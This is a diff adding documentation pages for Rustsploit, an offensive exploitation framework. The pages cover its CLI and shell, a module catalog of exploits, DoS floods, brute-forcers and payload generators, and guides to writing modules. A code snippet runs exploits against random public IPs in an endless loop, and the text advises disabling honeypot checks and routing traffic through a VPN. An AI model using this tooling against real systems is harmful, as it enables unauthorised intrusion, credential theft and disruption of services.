curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
docs/CLI-Reference.md
+93
View File
@@ -0,0 +1,93 @@
# CLI Reference
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
---
## Basic Syntax
```bash
cargo run -- [FLAGS] --command <TYPE> --module <NAME> --target <HOST>
```
Or if using the compiled binary:
```bash
./rustsploit [FLAGS] --command <TYPE> --module <NAME> --target <HOST>
```
---
## Commands
| Flag | Values | Description |
|------|--------|-------------|
| `--command` / `-c` | `exploit`, `scanner`, `creds` | Module category to run |
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
---
## Global Flags
| Flag | Short | Description |
|------|-------|-------------|
| `--list-modules` | | Print all available modules and exit |
| `--verbose` | `-v` | Enable detailed logging |
| `--output-format` | | Control output: `text` (default) or `json` |
| `--api` | | Start the REST API server instead of shell/CLI |
| `--api-key <key>` | | API authentication key (required with `--api`) |
| `--harden` | | Enable hardening mode (requires `--api`) |
| `--interface <addr:port>` | | Bind address for API server (default: `0.0.0.0:8080`) |
| `--ip-limit <n>` | | Max unique IPs before key rotation (default: 10, requires `--harden`) |
---
## Examples
```bash
# Run an exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
# Run a scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Run a credential module
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
# Run with JSON output
cargo run -- --command scanner --module port_scanner --target 10.0.0.1 --output-format json
```
---
## Module Names
Modules can be referenced by:
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
Both forms resolve to the same underlying function via the build-generated dispatcher.
Use `--list-modules` or the shell's `modules` command for the authoritative list.
---
## Error Handling & Warnings
| Situation | Message |
|-----------|---------|
| `-m` used without `-t` | `⚠ Warning: module set but no target specified` |
| `-t` used without `-m` | `ℹ Note: target available in shell` |
| `--harden` without `--api` | Error — hardening requires API mode |
---
## Interactive Prompts in CLI Mode
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
docs/Changelog.md
+57
View File
@@ -0,0 +1,57 @@
# Changelog
A high-level summary of significant changes. For the full detailed log, see [`changelogs/changelog-latest.md`](../changelogs/changelog-latest.md).
---
## Recent Changes
### New Exploit Modules
| Module | CVE / Notes |
|--------|-------------|
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks |
| `exploits/hikvision/hikvision_rce` | CVE-2021-36260 — command injection, SSH shell deploy |
| `exploits/frameworks/n8n` | CVE-2025-68613 — workflow expression injection, 6 payloads |
| `exploits/fortiweb` | CVE-2025-25257 — SQLi → webshell deploy |
| `exploits/webapps/sharepoint` | CVE-2024-38094 — deserialization RCE |
| `exploits/windows/dwm` | CVE-2026-20805 — Windows DWM info disclosure |
| `exploits/crypto/geth` | CVE-2026-22862 — Go-Ethereum ecies panic DoS |
| `exploits/frameworks/termix` | CVE-2026-22804 — stored XSS |
| `exploits/network_infra/forticloud_sso` | CVE-2026-24858 — auth bypass |
| `exploits/routers/ruijie/*` | 7 modules — RCE, Auth Bypass, SSRF |
| `exploits/routers/tp_link_vigi` | CVE-2026-1457 — authenticated RCE |
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` |
### New Credential Modules
| Module | Notes |
|--------|-------|
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, 6-second timeout |
### Framework & Core Improvements
- **Proxy system removed** — No built-in proxy support. Use a system-level VPN (e.g., Mullvad) before launching Rustsploit.
- **Mass-scan standardization** — All mass-scan modules accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets with consistent `EXCLUDED_RANGES` enforcement.
- **Stability** — Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths.
- **API worker threading** — Fixed with `spawn_blocking`, consolidated validation logic.
- **Telnet bruteforce refactor** — DNS resolved once (not per-attempt), `tokio::sync::Semaphore`, state machine (`TelnetState` enum), `BytesMut` buffer management.
- **Telnet hose** — password-only server detection (skips username prompt when server sends password prompt in banner).
### Dependency Upgrades
| Crate | Change |
|-------|--------|
| `suppaftp` v7 | Imports updated to `suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}` |
| `reqwest` v0.13 | Removed `.query()` / `.form()` helpers — manually constructed in 6 modules |
| `rustls` v0.23 | `ServerName` import updated to `rustls::pki_types::ServerName`; deprecated `with_safe_defaults()` removed |
| `hickory-client` v0.25 | `AsyncClient` → `Client`; `UdpClientStream` rewritten to builder pattern + `TokioRuntimeProvider` |
### utils.rs Improvements
- Added `prompt_input` — generic string input (empty allowed)
- Added `prompt_port` — port number prompt with range validation
- `read_safe_input` — centralizes length enforcement, null-byte stripping, and shell-pattern warnings
- All prompt helpers updated to use `read_safe_input`
- Payload-safe mode: only `\0` is stripped; all other characters pass through as literal text
docs/Contributing.md
+68
View File
@@ -0,0 +1,68 @@
# Contributing
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
---
## Workflow
1. **Fork** the repository and create a branch from `main`
2. **Add your module** under the appropriate category in `src/modules/`
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
4. **Run checks:**
```bash
cargo fmt
cargo check
cargo test
```
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
---
## Module Placement
| Type | Path |
|------|------|
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
| Scanner | `src/modules/scanners/` |
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
---
## Code Style
- Run `cargo fmt` — no manual formatting required
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
- Keep output concise and actionable
- Document CVE IDs and affected products in comments and output
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
- All targets pass through `crate::utils::normalize_target` — no custom normalization
---
## Mass-Scan Modules
If adding a module with 0.0.0.0/0 support:
- Copy the `EXCLUDED_RANGES` pattern from an existing mass-scan module
- Disable honeypot detection in scan-loop mode
- Default to a sane concurrency limit (mention it in output)
---
## Wordlists
- Store under `lists/` and document in `lists/readme.md`
- Prefer Seclists derivations or well-known public sources
- Keep file sizes reasonable — large lists should support streaming
---
## Bug Reports & Ideas
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
---
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
docs/Credential-Modules-Guide.md
+138
View File
@@ -0,0 +1,138 @@
# Credential Modules Guide
Best practices for writing and extending brute-force / credential-checking modules.
---
## Common Prompts
Credential modules should interactively prompt for:
- Port number
- Username wordlist path
- Password wordlist path
- Concurrency limit (threads / semaphore slots)
- Stop-on-success toggle
- Output file path
- Verbose logging toggle
Use the shared helpers from `crate::utils`:
```rust
use crate::utils::{prompt_input, prompt_required, prompt_default, prompt_yes_no, prompt_port};
```
---
## Input Handling
- **Trim** wordlist entries and skip blank lines
- **Early exit** if a wordlist is empty
- **Validate paths** — no `..`, use `canonicalize()`
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
---
## Concurrency Model
| Protocol | Recommended approach |
|----------|---------------------|
| FTP, SSH, MQTT, HTTP | `tokio::sync::Semaphore` (wrapped in `Arc`) |
| Telnet, POP3, SMTP | `threadpool` + `crossbeam-channel` |
Avoid unbounded tasks — always cap with a semaphore or pool size.
---
## IPv6 Support
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
```rust
// Good
let addr = format_addr(&ip, port); // "[::1]:22"
```
---
## Error Classification
Implement specific error types for better debugging and reporting:
```rust
enum CredsError {
ConnectionFailed(String),
AuthenticationFailed,
CertificateError,
Timeout,
NetworkError(String),
ProtocolError(String),
ToolNotFound,
}
```
---
## TLS / STARTTLS
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
---
## Result Persistence
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
```rust
if let Some(ref path) = output_file {
let line = format!("{} -> {}:{}\n", target, user, pass);
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
}
```
---
## Module-Specific Notes
### FTP Bruteforce
- 5 operation modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
- JSON configuration system with load/save/validate
- 32 utility functions including streaming wordlists, JSON/CSV export, network intelligence
- Updated to `suppaftp::tokio` types (v7 compatibility)
### Telnet Bruteforce
- Full IAC (Interpret As Command) negotiation with `process_telnet_iac`
- State machine approach (`TelnetState` enum) — no hardcoded cycle loops
- DNS resolution happens **once** before spawning workers (not per-attempt)
- `BytesMut` for proper partial-read buffer handling
- Password detection handles servers that skip the username prompt
### Telnet Hose (Mass Scanner)
- 500 concurrent workers, disk-based state log (`telnet_hose_state.log`)
- Full Cartesian product of top usernames × passwords
- Accepts `0.0.0.0/0` or a file path as target
- **6-second hard timeout** per IP target
- Auto-detects password-only servers (skips username prompt)
### RDP Bruteforce
- Automatic streaming failover for password files >150 MB
- Security levels: `Auto`, `NLA`, `TLS`, `RDP`, `Negotiate`
- Command injection prevention via argument sanitization for external tool calls
### MQTT Bruteforce
- Full MQTT 3.1.1 protocol — proper variable-length encoding, UTF-8 strings
- `CONNECT` packet construction with `CONNACK` parsing
### SSH User Enumeration
- Timing-attack based (inspired by CVE-2018-15473)
- Statistical analysis using standard deviation to distinguish valid/invalid users
- `tokio::time::Instant` for precise measurements
### L2TP/IPsec
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux); rasdial (Windows); networksetup (macOS)
- Proper IPsec Phase 1/2 and L2TP session management
- L2TPv2 packet crafting with AVP encoding
### Camxploit
- Masscan-style parallel scanning (default 200 threads) with `EXCLUDED_RANGES`
- Port-based service filtering — hosts with only SSH/Telnet/RDP ports are skipped
- Time-based progress reporting and output file for discovered cameras
docs/Credits.md
+52
View File
@@ -0,0 +1,52 @@
# Credits
---
## Project
| Role | Name |
|------|------|
| Project Lead | s-b-repo |
| Language | 100% Rust |
---
## Inspiration
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
---
## Wordlists
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
- Custom additions in `lists/` — documented in `lists/readme.md`
---
## Key Dependencies
| Crate | Purpose |
|-------|---------|
| `tokio` | Async runtime |
| `reqwest` | HTTP client |
| `clap` | CLI argument parsing |
| `anyhow` | Error handling |
| `colored` | Terminal color output |
| `suppaftp` | FTP/FTPS (v7, tokio async) |
| `hickory-client` | DNS (v0.25, builder pattern) |
| `ipnetwork` | CIDR range matching |
| `rustls` | TLS (v0.23+) |
| `bytes` | Buffer management (`BytesMut`) |
---
## Legal
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
> Obtain explicit written permission before targeting any system you do not own.
> The authors accept no liability for misuse.
Licensed under the terms in [LICENSE](../LICENSE).
docs/Exploit-Modules-Guide.md
+122
View File
@@ -0,0 +1,122 @@
# Exploit Modules Guide
Best practices for writing and extending exploit modules in Rustsploit.
---
## CVE Referencing
Always mention CVE IDs, vendor names, and affected products in:
- The module file docstring / top-level comments
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
- The [Module Catalog](Module-Catalog.md)
---
## Response Validation
Validate server responses before declaring success — false positives hurt credibility:
```rust
if response.status() == 200 && body.contains("expected_indicator") {
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
} else {
println!("{} Not vulnerable or patched", "[-]".red());
}
```
---
## Artifact Handling
If the exploit downloads or writes files (e.g., memory dumps, webshells):
- Store in the current working directory or a named subfolder
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
- Inform the operator where output was written
---
## Clean-Up Instructions
If the exploit adds credentials or accounts (e.g., camera modules), document:
- The impact of the change
- How to revert (e.g., default creds to restore, commands to run)
---
## Interactive Options
Use `prompt_*` helpers from `crate::utils` if end-user input is needed:
```rust
use crate::utils::{prompt_input, prompt_yes_no};
let command = prompt_input("Enter command to execute (or leave blank for shell): ")?;
let deploy = prompt_yes_no("Deploy webshell?", true)?;
```
---
## Mass-Scan Support
For modules supporting internet-wide scanning (target `0.0.0.0/0`):
```rust
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
loop {
let ip = generate_random_public_ip();
if !is_excluded_ip(ip) {
execute(ip.to_string().as_str()).await.ok();
}
}
}
```
See `EXCLUDED_RANGES` documentation in [Security & Validation](Security-Validation.md).
Disable honeypot detection in mass-scan mode to avoid interactive prompts blocking the scan loop.
---
## Module-Specific Notes
### Hikvision RCE (CVE-2021-36260)
- **Safe check** — writes/reads a test file to verify exploitability
- **Unsafe reboot** — reboots the device to confirm (destructive)
- **Command exec** — output retrieved, supports blind mode
- **SSH shell** — deploys Dropbear SSH on port 1337
### MongoBleed (CVE-2025-14847)
- Sends malicious compressed packet with inflated `uncompressedSize`
- Parses error response to extract leaked memory chunks (field names / types)
- Prints any leaked strings (potential credentials / data) to console
- Includes deep-scan mode for extended analysis
### n8n RCE (CVE-2025-68613)
- Authenticates via `/rest/login` (token / cookie-based)
- Creates a malicious workflow with expression injection payload
- Triggers via `/rest/workflows/{id}/run`
- Cleans up test workflow after execution
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
### FortiWeb SQLi → RCE (CVE-2025-25257)
- SQL injection via `Authorization: Bearer ';{injection}` header
- Writes webshell via `SELECT INTO OUTFILE`
- Uses `.pth` trigger for Python `chmod` execution
- Interactive modes: deploy webshell, execute command, test SQLi only
### NginxPwner
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
- Results saved to `nginx_pwner_results_{target}.txt`
- Prints reminders for manual checks (Redis, CORS, request smuggling)
### DoS / Stress Testing
> ⚠️ Authorized testing only. These modules can cause service disruption.
| Module | Notes |
|--------|-------|
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
docs/Getting-Started.md
+139
View File
@@ -0,0 +1,139 @@
# Getting Started
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a REST API server, and an ever-growing library of exploits, scanners, and credential modules.
---
## Requirements
### System Dependencies
**Debian / Ubuntu / Kali:**
```bash
sudo apt update
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
```
**Arch Linux:**
```bash
sudo pacman -S pkgconf openssl freerdp rustc
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
```
**Fedora / RHEL:**
```bash
sudo dnf install pkgconf-pkg-config openssl-devel freerdp rustc
```
### Rust & Cargo
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
> The minimum supported Rust version tracks stable. Run `rustup update` to stay current.
---
## Clone & Build
```bash
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
For a release-optimized binary:
```bash
cargo build --release
# Binary written to target/release/rustsploit
```
---
## Run
### Interactive Shell
```bash
cargo run
```
### CLI (non-interactive)
```bash
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
See [CLI Reference](CLI-Reference.md) for all flags.
---
## Docker Deployment
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```bash
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
3. Let you enter or auto-generate an API key (printable ASCII, max 128 chars).
4. Toggle hardening mode and tune the IP limit.
5. Generate:
- `docker/Dockerfile.api`
- `docker/entrypoint.sh`
- `.env.rustsploit-docker`
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation.
### Non-Interactive / CI
```bash
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
To start the stack later:
```bash
docker compose -f docker-compose.rustsploit.yml up -d --build
```
---
## Privacy / VPN
The built-in proxy system has been removed in favor of system-level VPN solutions.
We recommend **[Mullvad VPN](https://mullvad.net)**:
- No registration — account numbers generated without email or personal data
- Proven no-logs policy with audited infrastructure
- WireGuard support for high-performance, low-latency tunneling
- Excellent Linux CLI for headless setups
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
---
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
docs/Home.md
+36
View File
@@ -0,0 +1,36 @@
# Rustsploit Wiki
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
---
## 📖 Documentation Index
| Document | Description |
|----------|-------------|
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](API-Server.md) | REST API startup, endpoints, auth, rate limiting, hardening |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](Module-Catalog.md) | All modules by category — exploits, scanners, creds |
| [Module Development](Module-Development.md) | How to author new modules, lifecycle, dispatcher |
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for exploit modules |
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
| [Testing & QA](Testing-QA.md) | Build checks, smoke tests, wordlist validation |
| [Changelog](Changelog.md) | Release notes and version history |
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
---
## Quick Navigation
- **New user?** → Start with [Getting Started](Getting-Started.md)
- **Writing a module?** → See [Module Development](Module-Development.md)
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
docs/Interactive-Shell.md
+90
View File
@@ -0,0 +1,90 @@
# Interactive Shell
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
```bash
cargo run
```
---
## Command Palette
All commands are **case-insensitive** and support aliases:
| Command | Shortcuts | Description |
|---------|-----------|-------------|
| `help` | `help`, `h`, `?` | Show command reference |
| `modules` | `modules`, `ls`, `m` | List all discovered modules |
| `find <kw>` | `find <kw>`, `f1 <kw>` | Search modules by keyword |
| `use <path>` | `use <path>`, `u <path>` | Select a module |
| `set target <value>` | `set target <value>` | Set current target (IPv4 / IPv6 / hostname / CIDR) |
| `run` | `run`, `go` | Execute the current module |
| `exit` | `exit`, `quit`, `q` | Leave the shell |
---
## Example Session
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> go
```
---
## Command Chaining
Execute multiple commands on one line using the `&` separator:
```text
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
---
## Target Normalization
When you run `set target`, the value is normalized and validated automatically. Supported formats:
| Format | Example |
|--------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
Security checks (length, control characters, path traversal) are enforced at the framework level.
---
## Honeypot Detection
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
- Scans **200 common ports** with a 250 ms timeout each.
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
- Runs automatically on every `run`/`go` invocation.
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
---
## Shell Architecture
Key details from `src/shell.rs`:
- **`ShellContext`** — stores `current_module` and `current_target`.
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
- **`render_help()`** — prints the colorized command table.
- **State reset on exit** — nothing is persisted for OPSEC.
Tab completion and session history are not included by default (to keep dependencies minimal), but can be added by wrapping the loop with a line-editor crate.
docs/Module-Catalog.md
+137
View File
@@ -0,0 +1,137 @@
# Module Catalog
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. The table below reflects the current module set.
---
## Exploits
### Cameras
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/cameras/abussecurity_camera_cve202326609variant1` | Abus Security Camera RCE (variant 1) |
| `exploits/cameras/abussecurity_camera_cve202326609variant2` | Abus Security Camera RCE (variant 2) |
| `exploits/cameras/avtech_cve_2024_7029` | Avtech Camera RCE |
| `exploits/cameras/uniview_password_disclosure` | Uniview password disclosure |
| `exploits/cameras/acti` | ACTi camera RCE |
| `exploits/hikvision/hikvision_rce_cve_2021_36260` | Hikvision command injection — safe check, blind exec, SSH shell setup |
### Routers & Network Infrastructure
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/routers/tplink_vn020_dos` | TP-Link VN020 DoS |
| `exploits/routers/tplink_wr740n_dos` | TP-Link WR740N DoS |
| `exploits/routers/tplink_tapo_c200_cve_2021_4045` | TP-Link Tapo C200 RCE |
| `exploits/network_infra/ivanti_connect_secure_bof` | Ivanti Connect Secure stack buffer overflow |
| `exploits/network_infra/pan_os_auth_bypass` | PAN-OS auth bypass |
| `exploits/network_infra/heartbleed` | Heartbleed (CVE-2014-0160) |
| `exploits/network_infra/zabbix_sqli_700` | Zabbix 7.0.0 SQL injection |
| `exploits/network_infra/forticloud_sso_cve_2026_24858` | FortiCloud SSO auth bypass |
| `exploits/network_infra/ruijie/*` | 7 Ruijie modules — RCE, Auth Bypass, SSRF |
### Web Applications
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/webapps/apache_tomcat_cve_2025_24813` | Apache Tomcat partial PUT RCE |
| `exploits/webapps/apache_tomcat_catkiller_cve_2025_31650` | Apache Tomcat CatKiller DoS |
| `exploits/webapps/roundcube_postauth_rce` | Roundcube post-auth RCE |
| `exploits/webapps/spotube_zero_day` | Spotube zero-day |
| `exploits/webapps/flowise_cve_2025_59528` | Flowise RCE |
| `exploits/webapps/react2shell_cve_2025_55182` | React2Shell RCE |
| `exploits/webapps/jenkins_2_441_lfi` | Jenkins LFI |
| `exploits/webapps/sharepoint_cve_2024_38094` | SharePoint deserialization RCE |
### SSH
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/ssh/openssh_9_8p1_race` | OpenSSH 9.8p1 race condition |
| `exploits/ssh/sshpwn_framework` | SFTP symlink/setuid/traversal, SCP injection/DoS, session env injection |
### Telnet
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` — mass-scan capable |
### Frameworks & Other
| Module Path | CVE / Notes |
|-------------|-------------|
| `exploits/frameworks/n8n_rce_cve_2025_68613` | n8n workflow expression injection — 6 payloads (info, cmd, env, read, write, reverse shell) |
| `exploits/frameworks/fortiweb_sqli_rce_cve_2025_25257` | FortiWeb SQLi → webshell deploy |
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
| `exploits/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks (CRLF, alias traversal, PHP detection, etc.) |
| `exploits/windows/dwm_cve_2026_20805` | Windows DWM info disclosure |
| `exploits/crypto/geth_cve_2026_22862` | Go-Ethereum ecies panic DoS |
| `exploits/frameworks/termix_cve_2026_22804` | Termix stored XSS |
### DoS / Stress Testing
| Module Path | Description |
|-------------|-------------|
| `exploits/dos/connection_exhaustion_flood` | FD-bounded semaphore, connect & drop, infinite mode |
| `exploits/dos/null_syn_exhaustion` | Raw packet IP spoofing, XorShift128+ RNG, >1M PPS |
| `exploits/dos/tcp_connection_flood` | Pre-resolved DNS, high-concurrency, infinite mode |
| `exploits/dos/http2_rapid_reset` | CVE-2023-44487 HTTP/2 Rapid Reset |
### Payload Generators
| Module Path | Description |
|-------------|-------------|
| `exploits/payloadgens/narutto_dropper` | Batch malware dropper |
| `exploits/payloadgens/bat_payload_generator` | BAT payload generator |
---
## Scanners
| Module Path | Description |
|-------------|-------------|
| `scanners/port_scanner` | TCP/UDP/SYN/ACK port scanner |
| `scanners/ping_sweep` | ICMP/TCP/UDP/SYN/ACK ping sweep |
| `scanners/ssdp_msearch` | SSDP M-SEARCH device enumerator |
| `scanners/http_title_scanner` | HTTP title fetcher |
| `scanners/http_method_scanner` | HTTP method enumeration |
| `scanners/dns_recursion` | DNS recursion / amplification tester (uses hickory-client v0.25) |
| `scanners/stalkroute_full_traceroute` | Firewall-evasion traceroute (root required) |
| `scanners/ssh_scanner` | SSH banner grabbing with CIDR support |
| `scanners/dir_brute` | Directory bruteforcer — recursive, extensions, smart filtering |
| `scanners/sequential_fuzzer` | URL / header / body fuzzer — 10+ encodings, custom charsets |
| `scanners/api_endpoint_scanner` | API vulnerability scanner — SQLi, NoSQLi, CMDi, Path Traversal |
| `scanners/smtp_user_enum` | SMTP user enumeration |
| `scanners/ipmi_enum_exploit` | IPMI enumeration and exploitation |
---
## Credential Modules
### Generic
| Module Path | Description |
|-------------|-------------|
| `creds/generic/ftp_anonymous` | FTP anonymous auth check |
| `creds/generic/ftp_bruteforce` | FTPS brute force — 5 modes, JSON config, streaming wordlist |
| `creds/generic/ssh_bruteforce` | SSH password brute force |
| `creds/generic/ssh_user_enum` | SSH user enumeration via timing attack (CVE-2018-15473 inspired) |
| `creds/generic/ssh_password_spray` | SSH password spray |
| `creds/generic/telnet_bruteforce` | Telnet — full IAC negotiation, state machine, verbose mode |
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, auto-exclusion |
| `creds/generic/pop3_bruteforce` | POP3(S) brute force |
| `creds/generic/smtp_bruteforce` | SMTP brute force |
| `creds/generic/rtsp_bruteforce` | RTSP path + header bruting |
| `creds/generic/rdp_bruteforce` | RDP auth brute — streaming >150MB wordlists, multi security levels |
| `creds/generic/mqtt_bruteforce` | MQTT 3.1.1 brute force — proper CONNECT/CONNACK |
| `creds/generic/snmp_bruteforce` | SNMP community string brute force |
| `creds/generic/l2tp_bruteforce` | L2TP/IPsec — strongswan, xl2tpd, NetworkManager, rasdial, networksetup |
| `creds/generic/fortinet_bruteforce` | Fortinet SSL VPN brute force |
### Camera
| Module Path | Description |
|-------------|-------------|
| `creds/camxploit/camxploit` | Mass camera scanner with masscan-style parallel scanning, EXCLUDED_RANGES |
| `creds/camera/acti/acti_camera_default` | ACTi camera default credential check |
docs/Module-Development.md
+169
View File
@@ -0,0 +1,169 @@
# Module Development
Reference for maintainers and contributors writing new Rustsploit modules.
---
## How Modules Are Discovered
Rustsploit uses a build-time code-generation approach — no manual registry:
1. **`build.rs` scan** — Before compilation, `build.rs` recursively walks `src/modules/` looking for `.rs` files that are not `mod.rs`.
2. **Signature detection** — A file that exposes `pub async fn run(` is treated as a callable module.
3. **Name generation** — Both a *short name* (`ssh_bruteforce`) and a *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission** — Three files are generated:
- `src/commands/exploit_gen.rs`
- `src/commands/scanner_gen.rs`
- `src/commands/creds_gen.rs`
Each contains an exhaustive `match` mapping names → `use crate::modules::...::run`.
5. **Shell + CLI resolution** — `use exploits/foo` or `--module foo` both resolve through the dispatcher.
Because it's generated at build time, there is **no manual registry drift** as long as modules live in the correct folder and export `run`.
---
## Project Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher by scanning src/modules
├── src/
│ ├── main.rs # Entry point — CLI or shell mode, input validation
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── api.rs # REST API server — auth, rate limiting, hardening
│ ├── config.rs # Global config and target validation
│ ├── commands/
│ │ ├── mod.rs
